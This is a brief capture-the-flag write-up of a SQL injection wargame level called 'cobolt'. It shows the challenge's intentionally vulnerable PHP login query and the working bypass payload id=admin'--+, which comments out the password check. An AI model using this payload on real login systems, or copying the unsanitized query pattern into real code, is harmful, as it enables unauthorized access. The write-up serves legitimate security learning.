Cobalt

Simple bypass

Code

<?php
  include "./config.php"; 
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("cobolt");
  elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>"; 
  highlight_file(__FILE__); 
?>

Line 6: Query is set to obtain user-supplied input and assign it to the "id" and "pw" parameters.

Line 10: If the is equal to "admin", the challenge will be solved.

Query

SELECT id FROM prob_cobolt WHERE id='' AND pw=md5('')

Testing

Vulnerable parameter is "id".

id=admin'--+ returns "COBALT Clear!"

Effective Query

SELECT id FROM prob_cobolt WHERE id='admin'-- ' and pw=md5('')

This solves the challenge by assigning "admin" to "id", closing the statement with a single quote and commenting the rest of the query, which would have included the "pw" parameter, but its now ignored.

Last updated